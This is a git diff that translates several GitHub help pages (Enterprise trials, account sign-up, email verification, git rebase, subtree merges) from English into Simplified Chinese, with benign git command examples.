+1. Click **Enterprise Cloud**. !["Enterprise Cloud" button](/assets/images/help/organizations/enterprise-cloud-trial-option.png)
 1. Follow the prompts to configure your trial.
 
-## Exploring {% data variables.product.prodname_ghe_cloud %}
+## 探索 {% data variables.product.prodname_ghe_cloud %}
 
-After setting up your trial, you can explore {% data variables.product.prodname_ghe_cloud %} by following the [Enterprise Onboarding Guide](https://resources.github.com/enterprise-onboarding/).
+设置试用版后，您可以按照 [Enterprise 入门指南](https://resources.github.com/enterprise-onboarding/)来探索 {% data variables.product.prodname_ghe_cloud %}。
 
 {% data reusables.docs.you-can-read-docs-for-your-product %}
 
 {% data reusables.products.product-roadmap %}
 
-## Finishing your trial
+## 结束试用
 
-You can buy {% data variables.product.prodname_enterprise %} or downgrade to {% data variables.product.prodname_team %} at any time during your trial.
+在试用期间，您可以随时购买 {% data variables.product.prodname_enterprise %} 或降级到 {% data variables.product.prodname_team %}。
 
-If you don't purchase {% data variables.product.prodname_enterprise %} or {% data variables.product.prodname_team %} before your trial ends, your organization will be downgraded to {% data variables.product.prodname_free_team %} and lose access to any advanced tooling and features that are only included with paid products, including {% data variables.product.prodname_pages %} sites published from those private repositories. If you don't plan to upgrade, to avoid losing access to advanced features, make the repositories public before your trial ends. For more information, see "[Setting repository visibility](/articles/setting-repository-visibility)."
+如果在试用期结束前没有购买 {% data variables.product.prodname_enterprise %} 或 {% data variables.product.prodname_team %} ， 您的组织将会降级到 {% data variables.product.prodname_free_team %}，不能使用只包含在付费产品中的任何高级工具和功能，包括从那些私有仓库发布的 {% data variables.product.prodname_pages %} 站点。 如果您不打算升级，为避免失去高级功能的使用权限，请在试用结束前将仓库设为公共。 更多信息请参阅“[设置仓库可见性](/articles/setting-repository-visibility)”。
 
-Downgrading to {% data variables.product.prodname_free_team %} for organizations also disables any SAML settings configured during the trial period. Once you purchase {% data variables.product.prodname_enterprise %} or {% data variables.product.prodname_team %}, your SAML settings will be enabled again for users in your organization to authenticate.
+对于组织来说，降级到 {% data variables.product.prodname_free_team %} 还会禁用试用期间配置的任何 SAML 设置。 购买 {% data variables.product.prodname_enterprise %} 或 {% data variables.product.prodname_team %} 后，您的 SAML 设置将再次启用，以便您组织中的用户进行身份验证。
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.billing_plans %}
-5. Under "{% data variables.product.prodname_ghe_cloud %} Free Trial", click **Buy Enterprise** or **Downgrade to Team**.
-  ![Buy Enterprise and Downgrade to Team buttons](/assets/images/help/organizations/finish-trial-buttons.png)
-6. Follow the prompts to enter your payment method, then click **Submit**.
+5. 在“{% data variables.product.prodname_ghe_cloud %} Free Trial（GitHub Enterprise Cloud 免费试用）”下，单击 **Buy Enterprise（购买 Enterprise 版）**或 **Downgrade to Team（降级到 Team 版）**。 ![购买 Enterprise 版和降级到 Team 版按钮](/assets/images/help/organizations/finish-trial-buttons.png)
+6. 按照提示输入付款方式，然后单击 **Submit（提交）**。
diff --git a/translations/zh-CN/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-server.md b/translations/zh-CN/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-server.md
index 1328f54580..ea9f18a5f9 100644
--- a/translations/zh-CN/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-server.md
+++ b/translations/zh-CN/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-server.md
@@ -1,6 +1,6 @@
 ---
-title: Setting up a trial of GitHub Enterprise Server
-intro: 'You can try {% data variables.product.prodname_ghe_server %} for free.'
+title: 设置 GitHub Enterprise Server 试用版
+intro: '您可以免费试用 {% data variables.product.prodname_ghe_server %}。'
 redirect_from:
   - /articles/requesting-a-trial-of-github-enterprise
   - /articles/setting-up-a-trial-of-github-enterprise-server
@@ -12,56 +12,57 @@ versions:
   ghes: '*'
 topics:
   - Accounts
-shortTitle: Enterprise Server trial
+shortTitle: Enterprise Server 试用版
 ---
-## About trials of {% data variables.product.prodname_ghe_server %}
 
-You can request a 45-day trial to evaluate {% data variables.product.prodname_ghe_server %}. Your trial will be installed as a virtual appliance, with options for on-premises or cloud deployment. For a list of supported visualization platforms, see "[Setting up a GitHub Enterprise Server instance](/enterprise-server@latest/admin/installation/setting-up-a-github-enterprise-server-instance)."
+## 关于 {% data variables.product.prodname_ghe_server %} 试用版
 
-{% ifversion ghes %}{% data variables.product.prodname_dependabot %}{% else %}Security{% endif %} alerts and {% data variables.product.prodname_github_connect %} are not currently available in trials of {% data variables.product.prodname_ghe_server %}. For a demonstration of these features, contact {% data variables.contact.contact_enterprise_sales %}. For more information about these features, see "[About alerts for vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)" and "[Connecting your enterprise account to {% data variables.product.prodname_ghe_cloud %}](/enterprise-server@latest/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)."
+您可以申请 45 天试用版来试用 {% data variables.product.prodname_ghe_server %}。 您的试用版将作为虚拟设备安装，带有内部或云部署选项。 有关支持的可视化平台列表，请参阅“[设置 GitHub Enterprise Server 实例](/enterprise-server@latest/admin/installation/setting-up-a-github-enterprise-server-instance)”。
 
-Trials are also available for {% data variables.product.prodname_ghe_cloud %}. For more information, see "[Setting up a trial of {% data variables.product.prodname_ghe_cloud %}](/articles/setting-up-a-trial-of-github-enterprise-cloud)."
+{% ifversion ghes %}{% data variables.product.prodname_dependabot %}{% else %}安全{% endif %}警报和 {% data variables.product.prodname_github_connect %} 目前在 {% data variables.product.prodname_ghe_server %} 试用版中不可用。 要获取这些功能的演示，请联系 {% data variables.contact.contact_enterprise_sales %}。 For more information about these features, see "[About alerts for vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)" and "[Connecting your enterprise account to {% data variables.product.prodname_ghe_cloud %}](/enterprise-server@latest/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)."
+
+试用版也可用于 {% data variables.product.prodname_ghe_cloud %}。 更多信息请参阅“[设置 {% data variables.product.prodname_ghe_cloud %} 的试用](/articles/setting-up-a-trial-of-github-enterprise-cloud)”。
 
 {% data reusables.products.which-product-to-use %}
 
-## Setting up your trial of {% data variables.product.prodname_ghe_server %}
+## 设置 {% data variables.product.prodname_ghe_server %} 的试用版
 
-{% data variables.product.prodname_ghe_server %} is installed as a virtual appliance. Determine the best person in your organization to set up a virtual machine, and ask that person to submit a [trial request](https://enterprise.github.com/trial). You can begin your trial immediately after submitting a request.
+{% data variables.product.prodname_ghe_server %} 作为虚拟设备安装。 确定组织中设置虚拟机的最佳人选，并要求该人员提交[试用申请](https://enterprise.github.com/trial)。 您可以在提交申请后立即开始试用。
 
-To set up an account for the {% data variables.product.prodname_enterprise %} Web portal, click the link in the email you received after submitting your trial request, and follow the prompts. Then, download your license file. For more information, see "[Managing your license for {% data variables.product.prodname_enterprise %}](/enterprise-server@latest/billing/managing-your-license-for-github-enterprise)."
+要为 {% data variables.product.prodname_enterprise %} Web 门户设置帐户，请单击提交试用申请后您收到的电子邮件中的链接，然后按照提示操作。 然后下载您的许可文件。 更多信息请参阅“[管理 {% data variables.product.prodname_enterprise %} 的许可](/enterprise-server@latest/billing/managing-your-license-for-github-enterprise)”。
 
-To install {% data variables.product.prodname_ghe_server %}, download the necessary components and upload your license file. For more information, see the instructions for your chosen visualization platform in "[Setting up a {% data variables.product.prodname_ghe_server %} instance](/enterprise-server@latest/admin/installation/setting-up-a-github-enterprise-server-instance)."
+要安装 {% data variables.product.prodname_ghe_server %}，请下载必要的组件并上传您的许可证文件。 有关更多信息，请参阅“[设置 {% data variables.product.prodname_ghe_server %} 实例](/enterprise-server@latest/admin/installation/setting-up-a-github-enterprise-server-instance)”中所选可视化平台的说明。
 
-## Next steps
+## 后续步骤
 
-To get the most out of your trial, follow these steps:
+要充分利用您的试用版，请按以下步骤操作：
 
-1. [Create an organization](/enterprise-server@latest/admin/user-management/creating-organizations).
-2. To learn the basics of using {% data variables.product.prodname_dotcom %}, see:
-   - [Quick start guide to {% data variables.product.prodname_dotcom %}](https://resources.github.com/webcasts/Quick-start-guide-to-GitHub/) webcast
-   - [Understanding the {% data variables.product.prodname_dotcom %} flow](https://guides.github.com/introduction/flow/) in {% data variables.product.prodname_dotcom %} Guides
-   - [Hello World](https://guides.github.com/activities/hello-world/) in {% data variables.product.prodname_dotcom %} Guides
+1. [创建一个组织](/enterprise-server@latest/admin/user-management/creating-organizations)。
+2. 要了解使用 {% data variables.product.prodname_dotcom %} 的基础知识，请参阅：
+   - [{% data variables.product.prodname_dotcom %} 快速入门指南](https://resources.github.com/webcasts/Quick-start-guide-to-GitHub/)网络直播
+   - {% data variables.product.prodname_dotcom %} 指南中的[了解 {% data variables.product.prodname_dotcom %} 流程](https://guides.github.com/introduction/flow/)
+   - {% data variables.product.prodname_dotcom %} 指南中的 [Hello World](https://guides.github.com/activities/hello-world/)
    - "[About versions of {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs)"
-3. To configure your instance to meet your organization's needs, see "[Configuring your enterprise](/enterprise-server@latest/admin/configuration/configuring-your-enterprise)."
-4. To integrate {% data variables.product.prodname_ghe_server %} with your identity provider, see "[Using SAML](/enterprise-server@latest/admin/user-management/using-saml)" and "[Using LDAP](/enterprise-server@latest/admin/authentication/using-ldap)."
-5. Invite an unlimited number of people to join your trial.
-   - Add users to your {% data variables.product.prodname_ghe_server %} instance using built-in authentication or your configured identity provider. For more information, see "[Using built in authentication](/enterprise-server@latest/admin/user-management/using-built-in-authentication)."
-   - To invite people to become account administrators, visit the [{% data variables.product.prodname_enterprise %} Web portal](https://enterprise.github.com/login).
+3. 要配置实例以满足组织的需求，请参阅“[配置企业](/enterprise-server@latest/admin/configuration/configuring-your-enterprise)”。
+4. 要将 {% data variables.product.prodname_ghe_server %} 与您的身份提供程序集成，请参阅“[使用 SAML](/enterprise-server@latest/admin/user-management/using-saml)”和“[使用 LDAP](/enterprise-server@latest/admin/authentication/using-ldap)”。
+5. 邀请不限数量的人员加入您的试用版。
+   - 使用内置身份验证或配置的身份提供程序将用户添加到 {% data variables.product.prodname_ghe_server %} 实例。 更多信息请参阅“[使用内置身份验证](/enterprise-server@latest/admin/user-management/using-built-in-authentication)”。
+   - 要邀请人员成为帐户管理员，请访问 [{% data variables.product.prodname_enterprise %} Web 门户](https://enterprise.github.com/login)。
 
     {% note %}
 
-    **Note:** People you invite to become account administrators will receive an email with a link to accept your invitation.
+    **注：**您邀请成为帐户管理员的人员将收到一封电子邮件，其中包含接受邀请的链接。
 
     {% endnote %}
 
 {% data reusables.products.product-roadmap %}
 
-## Finishing your trial
+## 结束试用
 
-You can upgrade to full licenses in the [{% data variables.product.prodname_enterprise %} Web portal](https://enterprise.github.com/login) at any time during the trial period.
+您可以在试用期内随时在 [{% data variables.product.prodname_enterprise %} Web 门户](https://enterprise.github.com/login)中升级到完整许可证。
 
-If you haven't upgraded by the last day of your trial, you'll receive an email notifying you that your trial had ended. If you need more time to evaluate {% data variables.product.prodname_enterprise %}, contact {% data variables.contact.contact_enterprise_sales %} to request an extension.
+如果您在试用的最后一天仍未升级，将收到一封电子邮件，通知您试用已结束。 如果需要更多时间来评估 {% data variables.product.prodname_enterprise %}，请联系 {% data variables.contact.contact_enterprise_sales %} 申请延期。
 
-## Further reading
+## 延伸阅读
 
-- "[Setting up a trial of {% data variables.product.prodname_ghe_cloud %}](/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud)"
+- “[设置 {% data variables.product.prodname_ghe_cloud %} 的试用版](/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud)”
diff --git a/translations/zh-CN/content/get-started/signing-up-for-github/signing-up-for-a-new-github-account.md b/translations/zh-CN/content/get-started/signing-up-for-github/signing-up-for-a-new-github-account.md
index d20a58f745..7ae446c82f 100644
--- a/translations/zh-CN/content/get-started/signing-up-for-github/signing-up-for-a-new-github-account.md
+++ b/translations/zh-CN/content/get-started/signing-up-for-github/signing-up-for-a-new-github-account.md
@@ -1,7 +1,7 @@
 ---
-title: Signing up for a new GitHub account
-shortTitle: Sign up for a new GitHub account
-intro: '{% data variables.product.company_short %} offers user accounts for individuals and organizations for teams of people working together.'
+title: 注册新 GitHub 帐户
+shortTitle: 注册新 GitHub 帐户
+intro: '{% data variables.product.company_short %} 为一起工作的人员团队提供个人和组织的用户帐户。'
 redirect_from:
   - /articles/signing-up-for-a-new-github-account
   - /github/getting-started-with-github/signing-up-for-a-new-github-account
@@ -17,15 +17,15 @@ topics:
 
 You can create a personal account, which serves as your identity on {% data variables.product.prodname_dotcom_the_website %}, or an organization, which allows multiple personal accounts to collaborate across multiple projects. For more information about account types, see "[Types of {% data variables.product.prodname_dotcom %} accounts](/get-started/learning-about-github/types-of-github-accounts)."
 
-When you create a personal account or organization, you must select a billing plan for the account. For more information, see "[{% data variables.product.company_short %}'s products](/get-started/learning-about-github/githubs-products)."
+When you create a personal account or organization, you must select a billing plan for the account. 更多信息请参阅“[{% data variables.product.company_short %} 的产品](/get-started/learning-about-github/githubs-products)”。
 
 ## Signing up for a new account
 
 {% data reusables.accounts.create-account %}
-1. Follow the prompts to create your personal account or organization.
+1. 按照提示操作，创建您的个人帐户或组织。
 
-## Next steps
+## 后续步骤
 
-- "[Verify your email address](/articles/verifying-your-email-address)"
+- “[验证电子邮件地址](/articles/verifying-your-email-address)”
 - "[Creating an enterprise account](/enterprise-cloud@latest/admin/overview/creating-an-enterprise-account)"{% ifversion fpt %} in the {% data variables.product.prodname_ghe_cloud %} documentation{% endif %}
-- [ {% data variables.product.prodname_roadmap %} ]( {% data variables.product.prodname_roadmap_link %} ) in the  `github/roadmap` repository
+- `github/roadmap` 仓库中的 [ {% data variables.product.prodname_roadmap %} ]({% data variables.product.prodname_roadmap_link %})
diff --git a/translations/zh-CN/content/get-started/signing-up-for-github/verifying-your-email-address.md b/translations/zh-CN/content/get-started/signing-up-for-github/verifying-your-email-address.md
index ec5d6be37c..13f03e12c9 100644
--- a/translations/zh-CN/content/get-started/signing-up-for-github/verifying-your-email-address.md
+++ b/translations/zh-CN/content/get-started/signing-up-for-github/verifying-your-email-address.md
@@ -1,6 +1,6 @@
 ---
-title: Verifying your email address
-intro: 'Verifying your primary email address ensures strengthened security, allows {% data variables.product.prodname_dotcom %} staff to better assist you if you forget your password, and gives you access to more features on {% data variables.product.prodname_dotcom %}.'
+title: 验证电子邮件地址
+intro: '验证主电子邮件地址可确保增强的安全性，以便 {% data variables.product.prodname_dotcom %} 员工在您忘记密码时更好地协助您，并为您提供 {% data variables.product.prodname_dotcom %} 上更多功能的访问权限。'
 redirect_from:
   - /articles/troubleshooting-email-verification
   - /articles/setting-up-email-verification
@@ -12,60 +12,59 @@ versions:
   ghec: '*'
 topics:
   - Accounts
-shortTitle: Verify your email address
+shortTitle: 验证您的电子邮件地址
 ---
-## About email verification
 
-You can verify your email address after signing up for a new account, or when you add a new email address. If an email address is undeliverable or bouncing, it will be unverified.
+## 关于电子邮件通知
 
-If you do not verify your email address, you will not be able to:
-  - Create or fork repositories
-  - Create issues or pull requests
-  - Comment on issues, pull requests, or commits
-  - Authorize {% data variables.product.prodname_oauth_app %} applications
-  - Generate personal access tokens
-  - Receive email notifications
-  - Star repositories
-  - Create or update project boards, including adding cards
-  - Create or update gists
-  - Create or use {% data variables.product.prodname_actions %}
-  - Sponsor developers with {% data variables.product.prodname_sponsors %}
+您可在注册新帐户后或添加新电子邮件地址时验证您的电子邮件地址。 如果电子邮件地址无法送达或退回，它将无法进行验证。
+
+如果没有验证电子邮件地址，您将无法：
+  - 创建或复刻仓库
+  - 创建议题或拉取请求
+  - 对议题、拉取请求或提交发表评论
+  - 授权 {% data variables.product.prodname_oauth_app %} 应用程序
+  - 生成个人访问令牌
+  - 接收电子邮件通知
+  - 对仓库加星标
+  - 创建或更新项目板，包括添加卡片
+  - 创建或更新 gist
+  - 创建或使用 {% data variables.product.prodname_actions %}
+  - 通过 {% data variables.product.prodname_sponsors %} 赞助开发者
 
 {% warning %}
 
-**Warnings**:
+**警告**：
 
 - {% data reusables.user_settings.no-verification-disposable-emails %}
 - {% data reusables.user_settings.verify-org-approved-email-domain %}
 
 {% endwarning %}
 
-## Verifying your email address
+## 验证电子邮件地址
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.emails %}
-1. Under your email address, click **Resend verification email**.
-  ![Resend verification email link](/assets/images/help/settings/email-verify-button.png)
-4. {% data variables.product.prodname_dotcom %} will send you an email with a link in it. After you click that link, you'll be taken to your {% data variables.product.prodname_dotcom %} dashboard and see a confirmation banner.
-  ![Banner confirming that your email was verified](/assets/images/help/settings/email-verification-confirmation-banner.png)
+1. 在电子邮件地址下，单击 **Resend verification email（重新发送验证电子邮件）**。 ![重新发送验证电子邮件链接](/assets/images/help/settings/email-verify-button.png)
+4. {% data variables.product.prodname_dotcom %} 将向您发送一封含有链接的电子邮件。 单击该链接后，您将转到 {% data variables.product.prodname_dotcom %} 仪表板并看到确认横幅。 ![确认电子邮件已验证的横幅](/assets/images/help/settings/email-verification-confirmation-banner.png)
 
-## Troubleshooting email verification
+## 电子邮件验证故障排除
 
-### Unable to send verification email
+### 无法发送验证电子邮件
 
 {% data reusables.user_settings.no-verification-disposable-emails %}
 
-### Error page after clicking verification link
+### 单击验证链接后的错误页面
 
-The verification link expires after 24 hours. If you don't verify your email within 24 hours, you can request another email verification link. For more information, see "[Verifying your email address](/articles/verifying-your-email-address)."
+验证链接将在 24 小时后过期。 如果您没有在 24 小时内验证电子邮件，则可以请求其他电子邮件验证链接。 更多信息请参阅“[验证电子邮件地址](/articles/verifying-your-email-address)”。
 
 If you click on the link in the confirmation email within 24 hours and you are directed to an error page, you should ensure that you're signed into the correct account on {% data variables.product.product_location %}.
 
 1. {% data variables.product.signout_link %} of your personal account on {% data variables.product.product_location %}.
-2. Quit and restart your browser.
+2. 退出并重新启动浏览器。
 3. {% data variables.product.signin_link %} to your personal account on {% data variables.product.product_location %}.
-4. Click on the verification link in the email we sent you.
+4. 单击我们发送给您的电子邮件中的验证链接。
 
-## Further reading
+## 延伸阅读
 
-- "[Changing your primary email address](/articles/changing-your-primary-email-address)"
+- “[更改主电子邮件地址](/articles/changing-your-primary-email-address)”
diff --git a/translations/zh-CN/content/get-started/using-git/about-git-rebase.md b/translations/zh-CN/content/get-started/using-git/about-git-rebase.md
index e6fc3b9603..eb89eced5c 100644
--- a/translations/zh-CN/content/get-started/using-git/about-git-rebase.md
+++ b/translations/zh-CN/content/get-started/using-git/about-git-rebase.md
@@ -1,5 +1,5 @@
 ---
-title: About Git rebase
+title: 关于 Git 变基
 redirect_from:
   - /rebase
   - articles/interactive-rebase/
@@ -7,68 +7,69 @@ redirect_from:
   - /github/using-git/about-git-rebase
   - /github/getting-started-with-github/about-git-rebase
   - /github/getting-started-with-github/using-git/about-git-rebase
-intro: 'The `git rebase` command allows you to easily change a series of commits, modifying the history of your repository. You can reorder, edit, or squash commits together.'
+intro: '`git rebase` 命令用于轻松更改一系列提交，修改仓库的历史记录。 您可以重新排序、编辑提交或将提交压缩到一起。'
 versions:
   fpt: '*'
   ghes: '*'
   ghae: '*'
   ghec: '*'
 ---
-Typically, you would use `git rebase` to:
 
-* Edit previous commit messages
-* Combine multiple commits into one
-* Delete or revert commits that are no longer necessary
+通常，您会使用 `git rebase` 来：
+
+* 编辑之前的提交消息
+* 将多个提交合并为一个
+* 删除或还原不再必要的提交
 
 {% warning %}
 
-**Warning**: Because changing your commit history can make things difficult for everyone else using the repository, it's considered bad practice to rebase commits when you've already pushed to a repository. To learn how to safely rebase on {% data variables.product.product_location %}, see "[About pull request merges](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges)."
+**警告**：由于更改您的提交历史记录可能会给其他人使用仓库造成困难，因此如果提交已经推送到仓库，提交变基被视为一种坏习惯。 要了解如何在 {% data variables.product.product_location %} 上安全地变基，请参阅“[关于拉取请求合并](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges)”。
 
 {% endwarning %}
 
-## Rebasing commits against a branch
+## 对分支变基提交
 
-To rebase all the commits between another branch and the current branch state, you can enter the following command in your shell (either the command prompt for Windows, or the terminal for Mac and Linux):
+要对另一个分支与当前分支状态之间的所有提交变基，可以在 shell（Windows 的命令提示符或者 Mac 和 Linux 的终端）中输入以下命令：
 
 ```shell
 $ git rebase --interactive <em>other_branch_name</em>
 ```
 
-## Rebasing commits against a point in time
+## 对某一时间点变基提交
 
-To rebase the last few commits in your current branch, you can enter the following command in your shell:
+要变基当前分支中最近的几个提交，可以在 shell 中输入以下命令：
 
 ```shell
 $ git rebase --interactive HEAD~7
 ```
 
-## Commands available while rebasing
+## 变基时可用的命令
 
-There are six commands available while rebasing:
+变基时有六个命令可用：
 
 <dl>
 <dt><code>pick</code></dt>
-<dd><code>pick</code> simply means that the commit is included. Rearranging the order of the <code>pick</code> commands changes the order of the commits when the rebase is underway. If you choose not to include a commit, you should delete the entire line. </dd>
+<dd><code>pick</code> 只表示包含提交。 在变基进行时重新排列 <code>pick</code> 命令的顺序会更改提交的顺序。 如果选择不包含提交，应删除整行。 </dd>
 
 <dt><code>reword</code></dt>
-<dd>The <code>reword</code> command is similar to <code>pick</code>, but after you use it, the rebase process will pause and give you a chance to alter the commit message. Any changes made by the commit are not affected. </dd>
+<dd><code>reword</code> 命令类似于 <code>pick</code>，但在使用后，变基过程就会暂停，让您有机会改变提交消息。 提交所做的任何更改都不受影响。 </dd>
 
 <dt><code>edit</code></dt>
-<dd>If you choose to <code>edit</code> a commit, you'll be given the chance to amend the commit, meaning that you can add or change the commit entirely. You can also make more commits before you continue the rebase. This allows you to split a large commit into smaller ones, or, remove erroneous changes made in a commit. </dd>
+<dd>如果选择 <code>edit</code> 提交，您将有机会修订提交，也就是说，可以完全添加或更改提交。 您也可以创建更多提交后再继续变基。 这样您可以将大提交拆分为小提交，或者删除在提交中执行错误更改。 </dd>
 
-<dt><code>squash</code></dt>
-<dd>This command lets you combine two or more commits into a single commit. A commit is squashed into the commit above it. Git gives you the chance to write a new commit message describing both changes.</dd>
+<dt><code>压缩</code></dt>
+<dd>此命令可用于将两个或以上的提交合并为一个。 下面的提交压缩到其上面的提交。 Git 让您有机会编写描述两次更改的新提交消息。</dd>
 
 <dt><code>fixup</code></dt>
-<dd>This is similar to <code>squash</code>, but the commit to be merged has its message discarded. The commit is simply merged into the commit above it, and the earlier commit's message is used to describe both changes.</dd>
+<dd>这类似于 <code>squash</code>，但要合并的提交丢弃了其消息。 提交只是合并到其上面的提交，之前提交的消息用于描述两次更改。</dd>
 
 <dt><code>exec</code></dt>
-<dd>This lets you run arbitrary shell commands against a commit.</dd>
+<dd>这可让您对提交运行任意 shell 命令。</dd>
 </dl>
 
-## An example of using `git rebase`
+## `git rebase` 使用示例
 
-No matter which command you use, Git will launch [your default text editor](/github/getting-started-with-github/associating-text-editors-with-git) and open a file that details the commits in the range you've chosen. That file looks something like this:
+无论使用哪个命令，Git 都将启动[默认文本编辑器](/github/getting-started-with-github/associating-text-editors-with-git)，并且打开详细说明所选范围中提交的文件。 该文件类似于：
 
 ```
 pick 1fc6c95 Patch A
@@ -94,18 +95,18 @@ pick 7b36971 something to move before patch B
 #
 ```
 
-Breaking this information, from top to bottom, we see that:
+从上到下分解此信息，我们可以看出：
 
-- Seven commits are listed, which indicates that there were seven changes between our starting point and our current branch state.
-- The commits you chose to rebase are sorted in the order of the oldest changes (at the top) to the newest changes (at the bottom).
-- Each line lists a command (by default, `pick`), the commit SHA, and the commit message. The entire `git rebase` procedure centers around your manipulation of these three columns. The changes you make are *rebased* onto your repository.
-- After the commits, Git tells you the range of commits we're working with (`41a72e6..7b36971`).
-- Finally, Git gives some help by telling you the commands that are available to you when rebasing commits.
+- 列出了七个命令，表示从起点到当前分支状态之间有七处更改。
+- 您选择要变基的提交按最早更改（顶部）到最新更改（底部）的顺序存储。
+- 每行列出一个命令（默认为 `pick`）、提交 SHA 和提交消息。 整个 `git rebase` 程序以您对这三列的操作为中心。 您做出的更改将*变基*到仓库。
+- 在提交后，Git 会告知我们正在处理的提交范围 (`41a72e6..7b36971`)。
+- 最后，Git 会提供一些帮助，告知在变基提交时可用的命令。
 
-## Further reading
+## 延伸阅读
 
-- "[Using Git rebase](/articles/using-git-rebase)"
-- [The "Git Branching" chapter from the _Pro Git_ book](https://git-scm.com/book/en/Git-Branching-Rebasing)
-- [The "Interactive Rebasing" chapter from the _Pro Git_ book](https://git-scm.com/book/en/Git-Tools-Rewriting-History#_changing_multiple)
-- "[Squashing commits with rebase](http://gitready.com/advanced/2009/02/10/squashing-commits-with-rebase.html)"
-- "[Syncing your branch](/desktop/contributing-to-projects/syncing-your-branch)" in the {% data variables.product.prodname_desktop %} documentation
+- "[使用 Git rebase](/articles/using-git-rebase)"
+- [_Pro Git_ 书籍中的“Git 分支”一章](https://git-scm.com/book/en/Git-Branching-Rebasing)
+- [_Pro Git_ 书籍中的“交互式变基”一章](https://git-scm.com/book/en/Git-Tools-Rewriting-History#_changing_multiple)
+- "[使用变基压缩提交](http://gitready.com/advanced/2009/02/10/squashing-commits-with-rebase.html)"
+- {% data variables.product.prodname_desktop %} 文档中的“[同步分支](/desktop/contributing-to-projects/syncing-your-branch)”
diff --git a/translations/zh-CN/content/get-started/using-git/about-git-subtree-merges.md b/translations/zh-CN/content/get-started/using-git/about-git-subtree-merges.md
index d807a05e15..d9e79d6f23 100644
--- a/translations/zh-CN/content/get-started/using-git/about-git-subtree-merges.md
+++ b/translations/zh-CN/content/get-started/using-git/about-git-subtree-merges.md
@@ -1,5 +1,5 @@
 ---
-title: About Git subtree merges
+title: 关于 Git 子树合并
 redirect_from:
   - /articles/working-with-subtree-merge
   - /subtree-merge
@@ -7,38 +7,39 @@ redirect_from:
   - /github/using-git/about-git-subtree-merges
   - /github/getting-started-with-github/about-git-subtree-merges
   - /github/getting-started-with-github/using-git/about-git-subtree-merges
-intro: 'If you need to manage multiple projects within a single repository, you can use a *subtree merge* to handle all the references.'
+intro: 如果需要管理单一仓库中的多个项目，可以使用*子树合并*来处理所有引用。
 versions:
   fpt: '*'
   ghes: '*'
   ghae: '*'
   ghec: '*'
 ---
-## About subtree merges
 
-Typically, a subtree merge is used to contain a repository within a repository. The "subrepository" is stored in a folder of the main repository.
+## 关于子树合并
 
-The best way to explain subtree merges is to show by example. We will:
+通常，子树合并用于在仓库中包含仓库。 “子仓库”存储在主仓库的文件夹中。
 
-- Make an empty repository called `test` that represents our project
-- Merge another repository into it as a subtree called `Spoon-Knife`.
-- The `test` project will use that subproject as if it were part of the same repository.
-- Fetch updates from `Spoon-Knife` into our `test` project.
+解释子树合并的最佳方式是举例说明。 我们将：
 
-## Setting up the empty repository for a subtree merge
+- 创建一个名为 `test` 的空仓库，表示我们的项目
+- 将另一个仓库 `Spoon-Knife` 作为子树合并到其中。
+- 如果该子项目属于同一仓库，`test` 项目会使用它。
+- 从 `Spoon-Knife` 提取更新到 `test` 项目。
+
+## 创建用于子树合并的空仓库
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-2. Create a new directory and navigate to it.
+2. 创建一个新目录并找到它。
   ```shell
   $ mkdir test
   $ cd test
   ```
-3. Initialize a new Git repository.
+3. 初始化新的 Git 仓库。
   ```shell
   $ git init
   > Initialized empty Git repository in /Users/octocat/tmp/test/.git/
   ```
-4. Create and commit a new file.
+4. 创建并提交新文件。
   ```shell
   $ touch .gitignore
   $ git add .gitignore
@@ -48,9 +49,9 @@ The best way to explain subtree merges is to show by example. We will:
   >  create mode 100644 .gitignore
   ```
 
-## Adding a new repository as a subtree
+## 新增一个仓库为子树
 
-1. Add a new remote URL pointing to the separate project that we're interested in.
+1. 新增指向我们感兴趣的单独项目的远程 URL。
   ```shell
   $ git remote add -f spoon-knife git@github.com:octocat/Spoon-Knife.git
   > Updating spoon-knife
@@ -63,52 +64,52 @@ The best way to explain subtree merges is to show by example. We will:
   > From git://github.com/octocat/Spoon-Knife
   >  * [new branch]      main     -> Spoon-Knife/main
   ```
-2. Merge the `Spoon-Knife` project into the local Git project. This doesn't change any of your files locally, but it does prepare Git for the next step.
+2. 将 `Spon-Knife` 项目合并到当地 Git 项目。 这不会在本地更改任何文件，但会为下一步准备 Git。
 
-  If you're using Git 2.9 or above:
+  如果您使用的是 Git 2.9 或更高版本：
   ```shell
   $ git merge -s ours --no-commit --allow-unrelated-histories spoon-knife/main
   > Automatic merge went well; stopped before committing as requested
   ```
 
-  If you're using Git 2.8 or below:
+  如果您使用的是 Git 2.8 或更低版本：
   ```shell
   $ git merge -s ours --no-commit spoon-knife/main
   > Automatic merge went well; stopped before committing as requested
   ```
-3. Create a new directory called **spoon-knife**, and copy the Git history of the `Spoon-Knife` project into it.
+3. 创建新目录 **spoon-knife** 并将 `Spoon-Knife` 项目的 Git 历史记录复制到其中。
   ```shell
   $ git read-tree --prefix=spoon-knife/ -u spoon-knife/main
   ```
-4. Commit the changes to keep them safe.
+4. 提交更改以确保其安全。
   ```shell
   $ git commit -m "Subtree merged in spoon-knife"
   > [main fe0ca25] Subtree merged in spoon-knife
   ```
 
-Although we've only added one subproject, any number of subprojects can be incorporated into a Git repository.
+虽然我们只添加了一个子项目，但是可在 Git 仓库中加入任意数量的子项目。
 
 {% tip %}
 
-**Tip**: If you create a fresh clone of the repository in the future,  the remotes you've added will not be created for you. You will have to add them again using [the `git remote add` command](/github/getting-started-with-github/managing-remote-repositories).
